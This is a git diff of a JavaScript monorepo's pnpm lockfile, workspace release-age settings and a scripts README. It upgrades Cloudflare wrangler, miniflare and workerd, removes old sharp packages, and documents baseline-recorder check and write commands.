     resolution: {integrity: sha512-gi0zFJJRLswfCZmHtJdikXPOc5u7qamSOS3NHedLqLd4W8Q0NqjdBr6TTRIgsfFjqfTsHFgdfvJ9LwqSgcHiAA==}
     engines: {node: '>=20.9.0'}
@@ -1273,13 +1164,6 @@ packages:
     os: [linux]
     libc: [glibc]
 
-  '@img/sharp-linuxmusl-arm64@0.34.5':
-    resolution: {integrity: sha512-fprJR6GtRsMt6Kyfq44IsChVZeGN97gTD331weR1ex1c1rypDEABN6Tm2xa1wE6lYb5DdEnk03NZPqA7Id21yg==}
-    engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0}
-    cpu: [arm64]
-    os: [linux]
-    libc: [musl]
-
   '@img/sharp-linuxmusl-arm64@0.35.2':
     resolution: {integrity: sha512-siWbOW1u6HFnFLrp0waKyW7VEf7jYvcDWdrXEFa8AkdAQgEvuu5Fz8/Y70w9EeqAdwDtfU012BhEHHaDqvQNzg==}
     engines: {node: '>=20.9.0'}
@@ -1287,13 +1171,6 @@ packages:
     os: [linux]
     libc: [musl]
 
-  '@img/sharp-linuxmusl-x64@0.34.5':
-    resolution: {integrity: sha512-Jg8wNT1MUzIvhBFxViqrEhWDGzqymo3sV7z7ZsaWbZNDLXRJZoRGrjulp60YYtV4wfY8VIKcWidjojlLcWrd8Q==}
-    engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0}
-    cpu: [x64]
-    os: [linux]
-    libc: [musl]
-
   '@img/sharp-linuxmusl-x64@0.35.2':
     resolution: {integrity: sha512-YBqMMcjDi4QGYiSn4vNOYBhmlC4z5AXqkOUUqI2e0AFA4urNv4ESgOgwNl3K+4etQhha0twXlzeF20bbULm9Yg==}
     engines: {node: '>=20.9.0'}
@@ -1301,11 +1178,6 @@ packages:
     os: [linux]
     libc: [musl]
 
-  '@img/sharp-wasm32@0.34.5':
-    resolution: {integrity: sha512-OdWTEiVkY2PHwqkbBI8frFxQQFekHaSSkUIJkwzclWZe64O1X4UlUjqqqLaPbUpMOQk6FBu/HtlGXNblIs0huw==}
-    engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0}
-    cpu: [wasm32]
-
   '@img/sharp-wasm32@0.35.2':
     resolution: {integrity: sha512-Mrv4JQNYVQ94xH+jzZ9r+gowleN8mv2FTgKT+PI6bx5C0G8TdNYndu161pg2i7uoBwxy2ImPMHrJOM2LZef7Bw==}
     engines: {node: '>=20.9.0'}
@@ -1315,36 +1187,18 @@ packages:
     engines: {node: '>=20.9.0'}
     cpu: [wasm32]
 
-  '@img/sharp-win32-arm64@0.34.5':
-    resolution: {integrity: sha512-WQ3AgWCWYSb2yt+IG8mnC6Jdk9Whs7O0gxphblsLvdhSpSTtmu69ZG1Gkb6NuvxsNACwiPV6cNSZNzt0KPsw7g==}
-    engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0}
-    cpu: [arm64]
-    os: [win32]
-
   '@img/sharp-win32-arm64@0.35.2':
     resolution: {integrity: sha512-BiVRYc/t6/Vl3e1hBx0hugG4oN9Pydf4fgMSpxTQJmwGUg/YoXTWHiFeRymHfCZzifxu4F4rpk/I67D0LQ20wQ==}
     engines: {node: '>=20.9.0'}
     cpu: [arm64]
     os: [win32]
 
-  '@img/sharp-win32-ia32@0.34.5':
-    resolution: {integrity: sha512-FV9m/7NmeCmSHDD5j4+4pNI8Cp3aW+JvLoXcTUo0IqyjSfAZJ8dIUmijx1qaJsIiU+Hosw6xM5KijAWRJCSgNg==}
-    engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0}
-    cpu: [ia32]
-    os: [win32]
-
   '@img/sharp-win32-ia32@0.35.2':
     resolution: {integrity: sha512-YYEhx9PImCC7T0tI8JDMi4DB9LwLCXCU5OWNYEXAxh5Q1ShKkyC6byxzoBJ3gEFDnH2lQckWuDe70G7mB2XJog==}
     engines: {node: ^20.9.0}
     cpu: [ia32]
     os: [win32]
 
-  '@img/sharp-win32-x64@0.34.5':
-    resolution: {integrity: sha512-+29YMsqY2/9eFEiW93eqWnuLcWcufowXewwSNIT6UwZdUUCrM3oFjMWH/Z6/TMmb4hlFenmfAVbpWeup2jryCw==}
-    engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0}
-    cpu: [x64]
-    os: [win32]
-
   '@img/sharp-win32-x64@0.35.2':
     resolution: {integrity: sha512-imoOyBcoM/iiUr4J6VPpCNjPnjvP/Gks95898yB8YqoGGYmHYbOyCuNv9FMhFgtaiHFGbHW8bxKqRV6VjtXThQ==}
     engines: {node: '>=20.9.0'}
@@ -2901,15 +2755,14 @@ packages:
     resolution: {integrity: sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg==}
     engines: {node: '>=4'}
 
-  miniflare@4.20260701.0:
-    resolution: {integrity: sha512-L6eAAi6IKtyb/7J6L+YsH2vb1yBrJWKRXI293JYDiMl70+6nncdAgigex58w6WBd+CwvdMsqOyNyGs95Op5gWQ==}
-    engines: {node: '>=22.0.0'}
-    hasBin: true
-
   miniflare@5.20260730.0-alpha:
     resolution: {integrity: sha512-8/dspSXDshP6nSkCpjKO7BYc2qZoYSXm7iM+QxY7qJyJpAB3onnQSaiu0cvKJlfuMGwULl55hG69FJCcCMXU1Q==}
     engines: {node: '>=22.0.0'}
 
+  miniflare@5.20260903.0-alpha:
+    resolution: {integrity: sha512-VCZIFxOqFXeibRBJWwTlppqbv2lkeO10IX3QBRGK9j1QiMAfH/OSsCvbjp1MslBMhVZmy2VTRlVaVnsKnbDp6A==}
+    engines: {node: '>=22.0.0'}
+
   minimatch@10.2.5:
     resolution: {integrity: sha512-MULkVLfKGYDFYejP07QOurDLLQpcjk7Fw+7jXS2R2czRQzR56yHRveU5NDJEOviH+hETZKSkIk5c+T23GjFUMg==}
     engines: {node: 18 || 20 || >=22}
@@ -3305,10 +3158,6 @@ packages:
   setprototypeof@1.2.0:
     resolution: {integrity: sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==}
 
-  sharp@0.34.5:
-    resolution: {integrity: sha512-Ou9I5Ft9WNcCbXrU9cMgPBcCK8LiwLqcbywW3t4oDV37n1pzpuNLsYiAV8eODnjbtQlSDwZ2cUEeQz4E54Hltg==}
-    engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0}
-
   sharp@0.35.2:
     resolution: {integrity: sha512-FVtFjtBCMiJS6yb5CX7Sop45WFMpeGw6oRKuJnXYgf/f1ms/D7LE/ZUSNxnW7rZ/dbslQWYkoqFHGPaDBtaK4w==}
     engines: {node: '>=20.9.0'}
@@ -3741,32 +3590,32 @@ packages:
     engines: {node: '>=8'}
     hasBin: true
 
-  workerd@1.20260701.1:
-    resolution: {integrity: sha512-uF813NG09JwNRRUfJ0zBomyTslSPM810dMj9LVvkQ7RAkLrQLzAlPU8Xh/3dIqZDo2bfd7tChbf2PtqLRARRJQ==}
+  workerd@1.20260730.1:
+    resolution: {integrity: sha512-zmfNIjwYSWFY5chGBOjWtH3xAE7p97FTC6vR4Ep98290ho6AeAR/NVcBD274YCLEUYzqm8yxdtZlxMybU8a3jA==}
     engines: {node: '>=16'}
     hasBin: true
 
-  workerd@1.20260730.1:
-    resolution: {integrity: sha512-zmfNIjwYSWFY5chGBOjWtH3xAE7p97FTC6vR4Ep98290ho6AeAR/NVcBD274YCLEUYzqm8yxdtZlxMybU8a3jA==}
+  workerd@1.20260903.1:
+    resolution: {integrity: sha512-xJzt2RnCy7ulOULmZy/4JLbEPg1uisp9lVoOUsEz+UVhDsTmrSQ0rBXZMGcXuhr2HCGKs89bg8nnbbzvBSX1Ig==}
     engines: {node: '>=16'}
     hasBin: true
 
-  wrangler@4.107.0:
-    resolution: {integrity: sha512-fw69ThymNitZ0oIEBU2yNeq3kK59UKz/jyA3udwRrQIAIsxX57q5qLOpPTN7qc5t8n9pnUeofe0uxtMuhQZW8w==}
+  wrangler@4.118.0:
+    resolution: {integrity: sha512-9pkBw/b8zWqGx2S+oLhgHMR1M/4VOE8SynUFABnGWiSFGlcOQ4xiI/B71Xf66RYP2xzngU37IQFPtUruij3lYw==}
     engines: {node: '>=22.0.0'}
     hasBin: true
     peerDependencies:
-      '@cloudflare/workers-types': ^4.20260701.1
+      '@cloudflare/workers-types': ^5.20260730.1
     peerDependenciesMeta:
       '@cloudflare/workers-types':
         optional: true
 
-  wrangler@4.118.0:
-    resolution: {integrity: sha512-9pkBw/b8zWqGx2S+oLhgHMR1M/4VOE8SynUFABnGWiSFGlcOQ4xiI/B71Xf66RYP2xzngU37IQFPtUruij3lYw==}
+  wrangler@4.129.0:
+    resolution: {integrity: sha512-PGPvs9UPoFrwxT0VogpESSZGvZIctAuTK3wGsLLPHtHsSgS85kNdvtpa2d14UzG8gwLWD64XUGFPGG9tOXG9VQ==}
     engines: {node: '>=22.0.0'}
     hasBin: true
     peerDependencies:
-      '@cloudflare/workers-types': ^5.20260730.1
+      '@cloudflare/workers-types': ^5.20260903.1
     peerDependenciesMeta:
       '@cloudflare/workers-types':
         optional: true
@@ -4255,32 +4104,32 @@ snapshots:
 
   '@cloudflare/kv-asset-handler@0.5.0': {}
 
-  '@cloudflare/unenv-preset@2.16.1(unenv@2.0.0-rc.24)(workerd@1.20260701.1)':
+  '@cloudflare/unenv-preset@2.16.1(unenv@2.0.0-rc.24)(workerd@1.20260730.1)':
     dependencies:
       unenv: 2.0.0-rc.24
     optionalDependencies:
-      workerd: 1.20260701.1
+      workerd: 1.20260730.1
 
-  '@cloudflare/unenv-preset@2.16.1(unenv@2.0.0-rc.24)(workerd@1.20260730.1)':
+  '@cloudflare/unenv-preset@2.16.1(unenv@2.0.0-rc.24)(workerd@1.20260903.1)':
     dependencies:
       unenv: 2.0.0-rc.24
     optionalDependencies:
-      workerd: 1.20260730.1
+      workerd: 1.20260903.1
 
-  '@cloudflare/vite-plugin@1.50.0(vite@6.4.3(@types/node@22.20.0)(jiti@2.7.0)(yaml@2.9.0))(wrangler@4.118.0(@cloudflare/workers-types@5.20260730.1))':
+  '@cloudflare/vite-plugin@1.50.0(vite@6.4.3(@types/node@22.20.0)(jiti@2.7.0)(yaml@2.9.0))(wrangler@4.129.0(@cloudflare/workers-types@5.20260905.1))':
     dependencies:
       '@cloudflare/unenv-preset': 2.16.1(unenv@2.0.0-rc.24)(workerd@1.20260730.1)
       miniflare: 5.20260730.0-alpha
       unenv: 2.0.0-rc.24
       vite: 6.4.3(@types/node@22.20.0)(jiti@2.7.0)(yaml@2.9.0)
       workerd: 1.20260730.1
-      wrangler: 4.118.0(@cloudflare/workers-types@5.20260730.1)
+      wrangler: 4.129.0(@cloudflare/workers-types@5.20260905.1)
       ws: 8.21.0
     transitivePeerDependencies:
       - bufferutil
       - utf-8-validate
 
-  '@cloudflare/vitest-pool-workers@0.20.1(@cloudflare/workers-types@5.20260730.1)(@vitest/runner@4.1.9)(@vitest/snapshot@4.1.9)(vitest@4.1.9(@types/node@22.20.0)(happy-dom@20.10.6)(jsdom@25.0.1)(vite@6.4.3(@types/node@22.20.0)(jiti@2.7.0)(yaml@2.9.0)))':
+  '@cloudflare/vitest-pool-workers@0.20.1(@cloudflare/workers-types@5.20260905.1)(@vitest/runner@4.1.9)(@vitest/snapshot@4.1.9)(vitest@4.1.9(@types/node@22.20.0)(happy-dom@20.10.6)(jsdom@25.0.1)(vite@6.4.3(@types/node@22.20.0)(jiti@2.7.0)(yaml@2.9.0)))':
     dependencies:
       '@vitest/runner': 4.1.9
       '@vitest/snapshot': 4.1.9
@@ -4288,46 +4137,46 @@ snapshots:
       esbuild: 0.28.1
       miniflare: 5.20260730.0-alpha
       vitest: 4.1.9(@types/node@22.20.0)(happy-dom@20.10.6)(jsdom@25.0.1)(vite@6.4.3(@types/node@22.20.0)(jiti@2.7.0)(yaml@2.9.0))
-      wrangler: 4.118.0(@cloudflare/workers-types@5.20260730.1)
+      wrangler: 4.118.0(@cloudflare/workers-types@5.20260905.1)
       zod: 4.4.3
     transitivePeerDependencies:
       - '@cloudflare/workers-types'
       - bufferutil
       - utf-8-validate
 
-  '@cloudflare/workerd-darwin-64@1.20260701.1':
-    optional: true
-
   '@cloudflare/workerd-darwin-64@1.20260730.1':
     optional: true
 
-  '@cloudflare/workerd-darwin-arm64@1.20260701.1':
+  '@cloudflare/workerd-darwin-64@1.20260903.1':
     optional: true
 
   '@cloudflare/workerd-darwin-arm64@1.20260730.1':
     optional: true
 
-  '@cloudflare/workerd-linux-64@1.20260701.1':
+  '@cloudflare/workerd-darwin-arm64@1.20260903.1':
     optional: true
 
   '@cloudflare/workerd-linux-64@1.20260730.1':
     optional: true
 
-  '@cloudflare/workerd-linux-arm64@1.20260701.1':
+  '@cloudflare/workerd-linux-64@1.20260903.1':
     optional: true
 
   '@cloudflare/workerd-linux-arm64@1.20260730.1':
     optional: true
 
-  '@cloudflare/workerd-windows-64@1.20260701.1':
+  '@cloudflare/workerd-linux-arm64@1.20260903.1':
     optional: true
 
   '@cloudflare/workerd-windows-64@1.20260730.1':
     optional: true
 
+  '@cloudflare/workerd-windows-64@1.20260903.1':
+    optional: true
+
   '@cloudflare/workers-types@4.20260702.1': {}
 
-  '@cloudflare/workers-types@5.20260730.1': {}
+  '@cloudflare/workers-types@5.20260905.1': {}
 
   '@colors/colors@1.5.0':
     optional: true
@@ -4535,21 +4384,11 @@ snapshots:
 
   '@img/colour@1.1.0': {}
 
-  '@img/sharp-darwin-arm64@0.34.5':
-    optionalDependencies:
-      '@img/sharp-libvips-darwin-arm64': 1.2.4
-    optional: true
-
   '@img/sharp-darwin-arm64@0.35.2':
     optionalDependencies:
       '@img/sharp-libvips-darwin-arm64': 1.3.1
     optional: true
 
-  '@img/sharp-darwin-x64@0.34.5':
-    optionalDependencies:
-      '@img/sharp-libvips-darwin-x64': 1.2.4
-    optional: true
-
   '@img/sharp-darwin-x64@0.35.2':
     optionalDependencies:
       '@img/sharp-libvips-darwin-x64': 1.3.1
@@ -4560,151 +4399,76 @@ snapshots:
       '@img/sharp-wasm32': 0.35.2
     optional: true
 
-  '@img/sharp-libvips-darwin-arm64@1.2.4':
-    optional: true
-
   '@img/sharp-libvips-darwin-arm64@1.3.1':
     optional: true
 
-  '@img/sharp-libvips-darwin-x64@1.2.4':
-    optional: true
-
   '@img/sharp-libvips-darwin-x64@1.3.1':
     optional: true
 
-  '@img/sharp-libvips-linux-arm64@1.2.4':
-    optional: true
-
   '@img/sharp-libvips-linux-arm64@1.3.1':
     optional: true
 
-  '@img/sharp-libvips-linux-arm@1.2.4':
-    optional: true
-
   '@img/sharp-libvips-linux-arm@1.3.1':
     optional: true
 
-  '@img/sharp-libvips-linux-ppc64@1.2.4':
-    optional: true
-
   '@img/sharp-libvips-linux-ppc64@1.3.1':
     optional: true
 
-  '@img/sharp-libvips-linux-riscv64@1.2.4':
-    optional: true
-
   '@img/sharp-libvips-linux-riscv64@1.3.1':
     optional: true
 
-  '@img/sharp-libvips-linux-s390x@1.2.4':
-    optional: true
-
   '@img/sharp-libvips-linux-s390x@1.3.1':
     optional: true
 
-  '@img/sharp-libvips-linux-x64@1.2.4':
-    optional: true
-
   '@img/sharp-libvips-linux-x64@1.3.1':
     optional: true
 
-  '@img/sharp-libvips-linuxmusl-arm64@1.2.4':
-    optional: true
-
   '@img/sharp-libvips-linuxmusl-arm64@1.3.1':
     optional: true
 
-  '@img/sharp-libvips-linuxmusl-x64@1.2.4':
-    optional: true
-
   '@img/sharp-libvips-linuxmusl-x64@1.3.1':
     optional: true
 
-  '@img/sharp-linux-arm64@0.34.5':
-    optionalDependencies:
-      '@img/sharp-libvips-linux-arm64': 1.2.4
-    optional: true
-
   '@img/sharp-linux-arm64@0.35.2':
     optionalDependencies:
       '@img/sharp-libvips-linux-arm64': 1.3.1
     optional: true
 
-  '@img/sharp-linux-arm@0.34.5':
-    optionalDependencies:
-      '@img/sharp-libvips-linux-arm': 1.2.4
-    optional: true
-
   '@img/sharp-linux-arm@0.35.2':
     optionalDependencies:
       '@img/sharp-libvips-linux-arm': 1.3.1
     optional: true
 
-  '@img/sharp-linux-ppc64@0.34.5':
-    optionalDependencies:
-      '@img/sharp-libvips-linux-ppc64': 1.2.4
-    optional: true
-
   '@img/sharp-linux-ppc64@0.35.2':
     optionalDependencies:
       '@img/sharp-libvips-linux-ppc64': 1.3.1
     optional: true
 
-  '@img/sharp-linux-riscv64@0.34.5':
-    optionalDependencies:
-      '@img/sharp-libvips-linux-riscv64': 1.2.4
-    optional: true
-
   '@img/sharp-linux-riscv64@0.35.2':
     optionalDependencies:
       '@img/sharp-libvips-linux-riscv64': 1.3.1
     optional: true
 
-  '@img/sharp-linux-s390x@0.34.5':
-    optionalDependencies:
-      '@img/sharp-libvips-linux-s390x': 1.2.4
-    optional: true
-
   '@img/sharp-linux-s390x@0.35.2':
     optionalDependencies:
       '@img/sharp-libvips-linux-s390x': 1.3.1
     optional: true
 
-  '@img/sharp-linux-x64@0.34.5':
-    optionalDependencies:
-      '@img/sharp-libvips-linux-x64': 1.2.4
-    optional: true
-
   '@img/sharp-linux-x64@0.35.2':
     optionalDependencies:
       '@img/sharp-libvips-linux-x64': 1.3.1
     optional: true
 
-  '@img/sharp-linuxmusl-arm64@0.34.5':
-    optionalDependencies:
-      '@img/sharp-libvips-linuxmusl-arm64': 1.2.4
-    optional: true
-
   '@img/sharp-linuxmusl-arm64@0.35.2':
     optionalDependencies:
       '@img/sharp-libvips-linuxmusl-arm64': 1.3.1
     optional: true
 
-  '@img/sharp-linuxmusl-x64@0.34.5':
-    optionalDependencies:
-      '@img/sharp-libvips-linuxmusl-x64': 1.2.4
-    optional: true
-
   '@img/sharp-linuxmusl-x64@0.35.2':
     optionalDependencies:
       '@img/sharp-libvips-linuxmusl-x64': 1.3.1
     optional: true
 
-  '@img/sharp-wasm32@0.34.5':
-    dependencies:
-      '@emnapi/runtime': 1.11.2
-    optional: true
-
   '@img/sharp-wasm32@0.35.2':
     dependencies:
       '@emnapi/runtime': 1.11.2
@@ -4715,21 +4479,12 @@ snapshots:
       '@img/sharp-wasm32': 0.35.2
     optional: true
 
-  '@img/sharp-win32-arm64@0.34.5':
-    optional: true
-
   '@img/sharp-win32-arm64@0.35.2':
     optional: true
 
-  '@img/sharp-win32-ia32@0.34.5':
-    optional: true
-
   '@img/sharp-win32-ia32@0.35.2':
     optional: true
 
-  '@img/sharp-win32-x64@0.34.5':
-    optional: true
-
   '@img/sharp-win32-x64@0.35.2':
     optional: true
 
@@ -4792,15 +4547,15 @@ snapshots:
       globby: 11.1.0
       read-yaml-file: 1.1.0
 
-  '@mastra/cloudflare-d1@1.1.1(@cloudflare/workers-types@4.20260702.1)(@mastra/core@1.53.0(express@5.2.1)(zod@4.4.3))':
+  '@mastra/cloudflare-d1@1.1.1(@cloudflare/workers-types@4.20260702.1)(@mastra/core@1.53.0(patch_hash=1c56cc954864b021d43e9cfa80f22da840ba12d03f6d260a2e1435918ad5d048)(express@5.2.1)(zod@4.4.3))':
     dependencies:
       '@cloudflare/workers-types': 4.20260702.1
-      '@mastra/core': 1.53.0(express@5.2.1)(zod@4.4.3)
+      '@mastra/core': 1.53.0(patch_hash=1c56cc954864b021d43e9cfa80f22da840ba12d03f6d260a2e1435918ad5d048)(express@5.2.1)(zod@4.4.3)
       cloudflare: 5.2.0
     transitivePeerDependencies:
       - encoding
 
-  '@mastra/core@1.53.0(express@5.2.1)(zod@4.4.3)':
+  '@mastra/core@1.53.0(patch_hash=1c56cc954864b021d43e9cfa80f22da840ba12d03f6d260a2e1435918ad5d048)(express@5.2.1)(zod@4.4.3)':
     dependencies:
       '@a2a-js/sdk': 0.3.14(express@5.2.1)
       '@ai-sdk/provider-utils-v5': '@ai-sdk/provider-utils@3.0.30(zod@4.4.3)'
@@ -6502,24 +6257,24 @@ snapshots:
 
   min-indent@1.0.1: {}
 
-  miniflare@4.20260701.0:
+  miniflare@5.20260730.0-alpha:
     dependencies:
       '@cspotcode/source-map-support': 0.8.1
-      sharp: 0.34.5
+      sharp: 0.35.2
       undici: 7.29.0
-      workerd: 1.20260701.1
+      workerd: 1.20260903.1
       ws: 8.21.0
       youch: 4.1.0-beta.10
     transitivePeerDependencies:
       - bufferutil
       - utf-8-validate
 
-  miniflare@5.20260730.0-alpha:
+  miniflare@5.20260903.0-alpha:
     dependencies:
       '@cspotcode/source-map-support': 0.8.1
       sharp: 0.35.2
       undici: 7.29.0
-      workerd: 1.20260730.1
+      workerd: 1.20260903.1
       ws: 8.21.0
       youch: 4.1.0-beta.10
     transitivePeerDependencies:
@@ -6915,37 +6670,6 @@ snapshots:
 
   setprototypeof@1.2.0: {}
 
-  sharp@0.34.5:
-    dependencies:
-      '@img/colour': 1.1.0
-      detect-libc: 2.1.2
-      semver: 7.8.5
-    optionalDependencies:
-      '@img/sharp-darwin-arm64': 0.34.5
-      '@img/sharp-darwin-x64': 0.34.5
-      '@img/sharp-libvips-darwin-arm64': 1.2.4
-      '@img/sharp-libvips-darwin-x64': 1.2.4
-      '@img/sharp-libvips-linux-arm': 1.2.4
-      '@img/sharp-libvips-linux-arm64': 1.2.4
-      '@img/sharp-libvips-linux-ppc64': 1.2.4
-      '@img/sharp-libvips-linux-riscv64': 1.2.4
-      '@img/sharp-libvips-linux-s390x': 1.2.4
-      '@img/sharp-libvips-linux-x64': 1.2.4
-      '@img/sharp-libvips-linuxmusl-arm64': 1.2.4
-      '@img/sharp-libvips-linuxmusl-x64': 1.2.4
-      '@img/sharp-linux-arm': 0.34.5
-      '@img/sharp-linux-arm64': 0.34.5
-      '@img/sharp-linux-ppc64': 0.34.5
-      '@img/sharp-linux-riscv64': 0.34.5
-      '@img/sharp-linux-s390x': 0.34.5
-      '@img/sharp-linux-x64': 0.34.5
-      '@img/sharp-linuxmusl-arm64': 0.34.5
-      '@img/sharp-linuxmusl-x64': 0.34.5
-      '@img/sharp-wasm32': 0.34.5
-      '@img/sharp-win32-arm64': 0.34.5
-      '@img/sharp-win32-ia32': 0.34.5
-      '@img/sharp-win32-x64': 0.34.5
-
   sharp@0.35.2:
     dependencies:
       '@img/colour': 1.1.0
@@ -7340,14 +7064,6 @@ snapshots:
       siginfo: 2.0.0
       stackback: 0.0.2
 
-  workerd@1.20260701.1:
-    optionalDependencies:
-      '@cloudflare/workerd-darwin-64': 1.20260701.1
-      '@cloudflare/workerd-darwin-arm64': 1.20260701.1
-      '@cloudflare/workerd-linux-64': 1.20260701.1
-      '@cloudflare/workerd-linux-arm64': 1.20260701.1
-      '@cloudflare/workerd-windows-64': 1.20260701.1
-
   workerd@1.20260730.1:
     optionalDependencies:
       '@cloudflare/workerd-darwin-64': 1.20260730.1
@@ -7356,24 +7072,15 @@ snapshots:
       '@cloudflare/workerd-linux-arm64': 1.20260730.1
       '@cloudflare/workerd-windows-64': 1.20260730.1
 
-  wrangler@4.107.0(@cloudflare/workers-types@4.20260702.1):
-    dependencies:
-      '@cloudflare/kv-asset-handler': 0.5.0
-      '@cloudflare/unenv-preset': 2.16.1(unenv@2.0.0-rc.24)(workerd@1.20260701.1)
-      blake3-wasm: 2.1.5
-      esbuild: 0.28.1
-      miniflare: 4.20260701.0
-      path-to-regexp: 6.3.0
-      unenv: 2.0.0-rc.24
-      workerd: 1.20260701.1
+  workerd@1.20260903.1:
     optionalDependencies:
-      '@cloudflare/workers-types': 4.20260702.1
-      fsevents: 2.3.3
-    transitivePeerDependencies:
-      - bufferutil
-      - utf-8-validate
+      '@cloudflare/workerd-darwin-64': 1.20260903.1
+      '@cloudflare/workerd-darwin-arm64': 1.20260903.1
+      '@cloudflare/workerd-linux-64': 1.20260903.1
+      '@cloudflare/workerd-linux-arm64': 1.20260903.1
+      '@cloudflare/workerd-windows-64': 1.20260903.1
 
-  wrangler@4.118.0(@cloudflare/workers-types@4.20260702.1):
+  wrangler@4.118.0(@cloudflare/workers-types@5.20260905.1):
     dependencies:
       '@cloudflare/kv-asset-handler': 0.5.0
       '@cloudflare/unenv-preset': 2.16.1(unenv@2.0.0-rc.24)(workerd@1.20260730.1)
@@ -7384,24 +7091,24 @@ snapshots:
       unenv: 2.0.0-rc.24
       workerd: 1.20260730.1
     optionalDependencies:
-      '@cloudflare/workers-types': 4.20260702.1
+      '@cloudflare/workers-types': 5.20260905.1
       fsevents: 2.3.3
     transitivePeerDependencies:
       - bufferutil
       - utf-8-validate
 
-  wrangler@4.118.0(@cloudflare/workers-types@5.20260730.1):
+  wrangler@4.129.0(@cloudflare/workers-types@5.20260905.1):
     dependencies:
       '@cloudflare/kv-asset-handler': 0.5.0
-      '@cloudflare/unenv-preset': 2.16.1(unenv@2.0.0-rc.24)(workerd@1.20260730.1)
+      '@cloudflare/unenv-preset': 2.16.1(unenv@2.0.0-rc.24)(workerd@1.20260903.1)
       blake3-wasm: 2.1.5
       esbuild: 0.28.1
-      miniflare: 5.20260730.0-alpha
+      miniflare: 5.20260903.0-alpha
       path-to-regexp: 6.3.0
       unenv: 2.0.0-rc.24
-      workerd: 1.20260730.1
+      workerd: 1.20260903.1
     optionalDependencies:
-      '@cloudflare/workers-types': 5.20260730.1
+      '@cloudflare/workers-types': 5.20260905.1
       fsevents: 2.3.3
     transitivePeerDependencies:
       - bufferutil
diff --git a/pnpm-workspace.yaml b/pnpm-workspace.yaml
index bdd8ccad..4cc446c8 100644
--- a/pnpm-workspace.yaml
+++ b/pnpm-workspace.yaml
@@ -1,34 +1,24 @@
 packages:
   - "packages/*"
 
-# Supply-chain guard: only install package versions >= 7 days old (minutes)
 minimumReleaseAge: 10080
 # Mastra ships in lockstep with @mastra/core (audited, version-locked here);
 # quarantining it just forces stale mismatched subtrees.
 minimumReleaseAgeExclude:
+  # Approved September 5 for the current Wrangler runtime upgrade only.
+  - "wrangler@4.129.0"
+  - "miniflare@5.20260903.0-alpha"
   - "@mastra/*"
   # Astryx (Meta design system) is Beta and ships faster than the 7-day gate;
   # versions are pinned exact in packages/flowsafe to bound the exposure.
   - "@astryxdesign/*"
-  # Forced by wrangler's pinned workerd range; Cloudflare publishes workerd and
-  # workers-types ~weekly, faster than the 7-day gate. The resolved versions are
-  # already lockfile-pinned and installed, so this reuses them rather than
-  # fetching anything new.
+  # Cloudflare runtime packages follow Wrangler's exact workerd/miniflare pins;
+  # Workers type releases also ship faster than the gate. Keep resolved versions
+  # locked while admitting those toolchain releases.
   - "@cloudflare/*"
   - "workerd"
   # Forced by wrangler → miniflare → sharp; already lockfile-pinned — the gate
   # only re-fires because any lockfile update re-resolves the whole graph.
   - "@emnapi/runtime"
-  # react-doctor (run via `pnpm dlx github:gcharang/react-doctor#<sha>`, never a
-  # dependency) depends on deslop-js with a floating range; every fresh
-  # deslop-js publish would otherwise trip the 7-day buffer inside the dlx
-  # install and fail the react-doctor gate.
-  # RUNBOOK — this is a CLASS, deslop-js was just the first instance: the age
-  # gate applies to a dlx target's transitive registry deps too, picking the
-  # newest version ≥7 days old and failing ONLY when a range's entire recent
-  # history is younger than the buffer. react-doctor has ~18 other floating
-  # deps (@sentry/node, oxc-parser, jiti, ...); if the doctor gate ever fails
-  # on one of them, the fix is one line — add that package name here. They are
-  # deliberately NOT pre-excluded: excludes are global, and would weaken the
-  # buffer for the whole workspace.
+  # Future release-age exceptions require explicit user approval.
   - "deslop-js"
diff --git a/scripts/CLAUDE.md b/scripts/CLAUDE.md
index 251a0532..491d3a46 100644
--- a/scripts/CLAUDE.md
+++ b/scripts/CLAUDE.md
@@ -19,7 +19,33 @@ Repository documentation, architecture, and publication checks. Markdown syntax
   satisfy fleet control's own validators. Lives here because
   `.dependency-cruiser.cjs` forbids anything under `packages/` from importing
   fleet control.
-- `workerd-server-lifecycle.mjs` — the one `wrangler dev` start/stop protocol
-  shared by the FlowSafe workerd harnesses and the conformance harness.
+- [`baseline-recorder.mjs`](baseline-recorder.mjs): recorder configuration and supported literal values are documented on `runBaselineRecorder`.
+- [`baseline-recorder.test.mjs`](baseline-recorder.test.mjs): run with `node --test scripts/baseline-recorder.test.mjs`.
+- [`record-drain-baseline.mjs`](record-drain-baseline.mjs): inventory recorder. Golden assertions live in [`cloudflare-client.test.ts`](../packages/fleet-control/test/cloudflare-client.test.ts).
+- [`record-audit-baseline.mjs`](record-audit-baseline.mjs): audit recorder. Golden assertions live in [`fleet-audit-golden.test.ts`](../packages/fleet-control/test/fleet-audit-golden.test.ts).
+- [`record-migration-baseline.mjs`](record-migration-baseline.mjs): migration recorder. Golden assertions live in [`fleet-migration-golden.test.ts`](../packages/fleet-control/test/fleet-migration-golden.test.ts).
+- [`workerd-server-lifecycle.mjs`](workerd-server-lifecycle.mjs)
 - `workerd-server-lifecycle.test.mjs` — its vitest suite, run through the root
   `vitest.workerd-lifecycle.config.ts` project.
+
+## Record or compare a baseline
+
+Run a recorder manually with an explicit mode. Use `--check` to compare derived values without writing, or `--write` to replace the configured baseline and format it with Biome. Missing, unknown, or conflicting modes return status 2.
+
+`--check` compares the exports a recorder's `exports` declarations name: each declaration selects one export from the committed generated module and the derived value it is compared with. An export the committed module holds without a matching declaration is compared against nothing. `--check` does not establish refusal-guard coverage; retain the ordinary guard tests and architecture checks alongside the golden assertions.
+
+Run these checks before accepting a generated-file change:
+
+```bash
+node scripts/record-drain-baseline.mjs --check
+node scripts/record-audit-baseline.mjs --check
+node scripts/record-migration-baseline.mjs --check
+```
+
+To record an intended baseline change, select its command:
+
+```bash
+node scripts/record-drain-baseline.mjs --write
+node scripts/record-audit-baseline.mjs --write
+node scripts/record-migration-baseline.mjs --write
+```
